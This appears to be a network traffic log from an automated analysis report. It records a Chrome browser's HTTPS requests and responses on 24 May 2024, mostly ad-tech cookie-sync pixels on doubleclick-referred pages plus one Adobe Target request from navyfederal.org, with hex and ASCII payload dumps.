207	192.168.2.6	50085	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:13 UTC	664	OUT	GET /spotx_match HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:13 UTC	404	IN	HTTP/1.1 204 No Content Date: Fri, 24 May 2024 22:46:13 GMT Connection: close Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.6	50086	3.71.149.231	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:13 UTC	624	OUT	GET /ups/58726/cms?partner_id=DATCS HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:13 UTC	558	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:13 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58726/cms?partner_id=DATCS&verify=true Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; Expires=Sun, 25 May 2025 04:46:13 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.6	50087	52.49.45.15	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:13 UTC	670	OUT	GET /map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_cc=ctst
2024-05-24 22:46:13 UTC	693	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:13 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.29.16 Set-Cookie: _cc_dc=1;Path=/;Domain=crwdcntrl.net;Expires=Tue, 18-Feb-2025 22:02:00 GMT;SameSite=None;Secure Set-Cookie: _cc_id=4a2dde82d52488666744df68c3746eec;Path=/;Domain=crwdcntrl.net;Expires=Tue, 18-Feb-2025 22:02:00 GMT;SameSite=None;Secure Set-Cookie: _cc_cc="";Version=1;Path=/;Domain=crwdcntrl.net;Expires=Thu, 01-Jan-1970 02:01:00 GMT;Max-Age=0;SameSite=None;Secure Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-05-24 22:46:13 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.6	50088	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:13 UTC	655	OUT	GET /an HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:13 UTC	628	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:13 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://ib.adnxs.com/setuid?entity=66&code=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:13 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:13 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.6	50095	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	661	OUT	GET /rb_match HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:14 UTC	658	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:14 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://pixel.rubiconproject.com/tap.php?v=6286&nid=2132&put=4F23F6C2C1D4438DAA81302CEEAB3C45&expires=365 Expires: Thu, 23 May 2024 22:46:14 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:14 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.6	50096	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	661	OUT	GET /ox_match HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:14 UTC	634	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:14 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://us-u.openx.net/w/1.0/sd?id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:14 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:14 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.6	50098	35.244.174.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	642	OUT	GET /419566.gif?partner_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:14 UTC	728	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CO7NGRIrCicIARDuJBogNEYyM0Y2QzJDMUQ0NDM4REFBODEzMDJDRUVBQjNDNDUQABoNCLaxxLIGEgUI6AcQAEIASgA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=5wi4eL9+OSz5ybtfXqA+XkcsobKmEo56KFHYSciN12U=; Path=/; Domain=rlcdn.com; Expires=Sat, 24 May 2025 22:46:14 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Tue, 23 Jul 2024 22:46:14 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Fri, 24 May 2024 22:46:14 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.6	50100	185.89.210.212	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	885	OUT	GET /setuid?entity=66&code=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; anj=dTM7k!M4/8CxrEQF']wIg2E?d?=+XZ!@wnf-Te9(>wL5L!!'h%$u))L; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456
2024-05-24 22:46:14 UTC	1513	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:14 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 12c5f111-15bb-49f0-bb8d-ff5401d2cbde Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:14 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FB.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nylZyN0kLd><f=kW*g0D(GqO2P; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:14 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:14 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:14 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-05-24 22:46:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.6	50099	3.71.149.231	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	743	OUT	GET /ups/58726/cms?partner_id=DATCS&verify=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes
2024-05-24 22:46:14 UTC	735	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:14 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19ba~2ily;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sat, 24-May-2025 22:46:14 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://pbid.pro-market.net/user?du=81&mimetype=img&csync=y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-~A Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; Expires=Sun, 25 May 2025 04:46:14 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.6	50097	34.242.54.113	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:14 UTC	683	OUT	GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45&dnr=1 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm
2024-05-24 22:46:14 UTC	653	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:14 GMT Content-Type: image/gif Content-Length: 43 Connection: close Vary: Accept-Encoding Set-Cookie: _ljtrtb_2=4F23F6C2C1D4438DAA81302CEEAB3C45; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:14 GMT; Max-Age=31536000;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:14 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-05-24 22:46:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.6	50107	66.235.152.225	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:15 UTC	706	OUT	POST /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive Content-Length: 1138 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:15 UTC	1138	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 39 65 65 61 36 63 62 63 30 66 34 64 34 61 37 66 39 39 62 35 34 36 31 39 65 30 61 66 30 39 33 30 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 74 69 6d 65 4f 66 66 73 65 74 49 6e 4d 69 6e 75 74 65 73 22 3a 2d 32 34 30 2c 22 63 68 61 6e 6e 65 6c 22 3a 22 77 65 62 22 2c 22 73 63 72 65 65 6e 22 3a 7b 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 Data Ascii: {"requestId":"9eea6cbc0f4d4a7f99b54619e0af0930","context":{"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","timeOffsetInMinutes":-240,"channel":"web","screen":{"width":1280,"hei
2024-05-24 22:46:16 UTC	845	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:15 GMT content-type: application/json;charset=UTF-8 vary: origin,access-control-request-method,access-control-request-headers,accept-encoding access-control-allow-origin: https://www.navyfederal.org access-control-allow-credentials: true x-request-id: 7c7b2a08-1eb6-4fdb-9689-d0c4905f741a timing-allow-origin: * accept-ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:46:16 UTC	4800	IN	Data Raw: 31 32 62 38 0d 0a 7b 22 73 74 61 74 75 73 22 3a 32 30 30 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 39 65 65 61 36 63 62 63 30 66 34 64 34 61 37 66 39 39 62 35 34 36 31 39 65 30 61 66 30 39 33 30 22 2c 22 63 6c 69 65 6e 74 22 3a 22 6e 61 76 79 66 65 64 65 72 61 6c 63 75 22 2c 22 69 64 22 3a 7b 22 74 6e 74 49 64 22 3a 22 61 63 63 39 65 64 66 37 35 63 31 38 34 32 31 30 61 63 37 34 65 37 32 63 63 34 34 64 30 66 33 35 2e 33 37 5f 30 22 2c 22 6d 61 72 6b 65 74 69 6e 67 43 6c 6f 75 64 56 69 73 69 74 6f 72 49 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 7d 2c 22 65 64 67 65 48 6f 73 74 22 3a 22 6d 62 6f 78 65 64 67 65 33 37 2e 74 74 2e 6f 6d 74 72 64 63 2e 6e 65 74 22 2c 22 70 72 Data Ascii: 12b8{"status":200,"requestId":"9eea6cbc0f4d4a7f99b54619e0af0930","client":"navyfederalcu","id":{"tntId":"acc9edf75c184210ac74e72cc44d0f35.37_0","marketingCloudVisitorId":"19471654271041955080390332448085131267"},"edgeHost":"mboxedge37.tt.omtrdc.net","pr
2024-05-24 22:46:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.6	50108	35.244.174.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:16 UTC	763	OUT	GET /1000.gif?memo=CO7NGRIrCicIARDuJBogNEYyM0Y2QzJDMUQ0NDM4REFBODEzMDJDRUVBQjNDNDUQABoNCLaxxLIGEgUI6AcQAEIASgA HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=5wi4eL9+OSz5ybtfXqA+XkcsobKmEo56KFHYSciN12U=; pxrc=CAA=
